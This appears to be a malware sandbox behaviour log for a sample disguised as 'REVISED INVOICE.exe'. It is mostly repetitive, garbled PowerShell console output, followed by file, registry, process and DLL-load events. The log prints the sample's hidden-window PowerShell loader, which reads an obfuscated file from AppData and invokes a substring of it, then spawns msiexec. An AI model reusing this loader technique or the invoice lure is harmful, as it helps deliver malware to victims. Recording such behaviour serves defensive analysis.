Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......X-.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................4.......j-.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......v-.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..................... ........-.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..................... ........-.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..................... ..................................s....................~....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..................... ..................................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1. .......#..........................s............8....... ....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..................... ......./..........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .$.A.f.t.o.p.p.e.d.e...I.n.v.o.k.e.(.$.M.a.s.k.i.n.g.e.v.r.,. .0.)...........8.......F....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......M....................... .0.)...........8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~...........8.......F....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......k.......................~.~.~...........8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......}.......................~.~.~........................................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`...............................~.~.~...........8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`...............................~.~.~........................................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`...............................~.~.~...........8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................`...............................~.~.~...........8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`...............................~.~.~...........8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`..................................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`..................................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.4......../.........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`......../.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`......../.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......*/.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......?/.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......K/.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......]/.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......i/.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......{/.........................s....................`....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`......../.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................`......../.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`......../.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`......../.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`......../.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.4......../.........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`......../.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`......../.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........0.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........0.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......(0.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......:0.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......F0.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......X0.........................s....................`....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......d0.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................`.......v0.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........0.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........0.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........0.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.4........0.........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........0.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........0.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........0.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........0.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........1.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........1.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......#1.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......51.........................s....................`....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......A1.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................`.......T1.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......a1.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......~1.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........1.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.4........1.........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........1.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........1.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........1.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........1.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........1.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........1.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........2.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`........2.........................s....................`....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......!2.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................`.......32.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................`.......?2.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................H........3.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................H........3.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.4........3.........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................H........3.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................H........3.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................H........3.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................H........3.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................H........3.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................4.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................4.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............................."4.........................s....................`....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................4.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............................A4.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................M4.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................l4.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................y4.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.4........4.........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................4.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................4.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................4.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................4.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................4.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................4.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................4.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................5.........................s....................`....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................5.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................h.......*5.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h.......65.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h.......X5.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h.......e5.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.4.......y5.........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........5.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........5.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........5.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................5.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........5.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........5.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................5.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................5.........................s....................`....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................6.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................6.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................(6.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................G6.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................S6.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.4.......f6.........................s............8......."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................s6.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................6.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................6.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................6.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................6.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................6.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................H........6.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................H........6.........................s....................`....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................H........6.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................h........7.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................h........7.........................s............8............................... Jump to behavior
Source: REVISED INVOICE.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\Desktop\REVISED INVOICE.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe File read: C:\Users\user\Desktop\REVISED INVOICE.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\REVISED INVOICE.exe "C:\Users\user\Desktop\REVISED INVOICE.exe"
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Funktionserklringen=Get-Content -raw 'C:\Users\user\AppData\Local\fona\Kvit\Hyperclimax.Com';$Longers=$Funktionserklringen.SubString(56921,3);.$Longers($Funktionserklringen)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Funktionserklringen=Get-Content -raw 'C:\Users\user\AppData\Local\fona\Kvit\Hyperclimax.Com';$Longers=$Funktionserklringen.SubString(56921,3);.$Longers($Funktionserklringen)" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe" Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn2.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msacm32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ncrypt.dll Jump to behavior
